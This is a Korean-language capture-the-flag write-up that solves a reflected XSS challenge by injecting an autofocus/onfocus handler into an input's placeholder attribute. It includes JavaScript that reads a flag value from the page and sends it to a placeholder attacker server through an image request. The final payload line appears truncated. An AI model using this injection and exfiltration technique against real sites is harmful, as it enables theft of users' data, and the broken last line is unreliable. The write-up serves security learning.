먼저 문제를 확인하겠습니다
마이페이지에 XSS 공격 취약점이 있다고 하네요
그럼 마이페이지에 접속해보도록 하겠습니다
아이디가 placeholder
로 입력되는 부분에 XSS 취약점 가능성이 있어보이니 테스트 해보도록 하겠습니다
파라미터가 그대로 응답(placeholder)에 나오는 것을 보아 Reflected XSS 취약점으로 보입니다
마이페이지에 있는 관리자의 중요 정보인 flag를 탈취하라고 했으니, 관리자로 접속했을 때 Flag Here 부분에 flag가 출력될 듯 합니다
스크립트 삽입을 위해서 주로 필요한 특수문자들을 사용 가능한 지 알아보아야 합니다
주요 특수문자는 <
, >
, "
, '
입니다
위에서 XSS 취약점을 찾을 때 normaltic429<'">
를 입력해, <'">
부분이 HTML Entity로 변환되지 않고 그대로 출력되는 것을 확인했습니다
그럼 이제 Flag Here 부분에 어떻게 접근하면 좋을지 알아보겠습니다
Flag Here가 있는 placeholder 값을 가져와야 하니, input
태그의 name
속성을 이용해 보도록 하겠습니다
input 요소는 document.getElementsByName('info')[0]
로 선택합니다
그 중 placeholder 값이 flag니까 document.getElementsByName('info')[0].placeholder
를 통해 placeholder 값을 가져올 수 있습니다
그렇다면 client 측에서 실행되어야 할 스크립트는 아래와 같습니다
var flag=document.getElementsByName('info')[0].placeholder;
var i=new Image();
i.src="공격자서버주소/?flag"+flag;
이 스크립트를 XSS 취약점에 끼워넣어야 합니다
<input name = "id" type = "text" placeholder="[스크립트 끼워넣을 부분]"/>
autofocus와 onfocus Event Handler를 활용해 스크립트를 삽입해 보겠습니다
우선 placeholder
부분이 "
로 닫혀야 뒷부분에 이벤트 핸들러를 작성할 수 있으니, "
로 시작해 placeholder
를 닫아줍니다
마지막 부분에 "/>
가 남아있으니 onfocus="악성스크립트
를 작성해 onfocus="악성스크립트"
형태를 맞춰줍니다
그럼 전달할 user 파라미터는 아래와 같습니다
" autofocus공격자서버주소/?flag"+flag;
이제 서버로 전달된 플래그를 확인만 하면 됩니다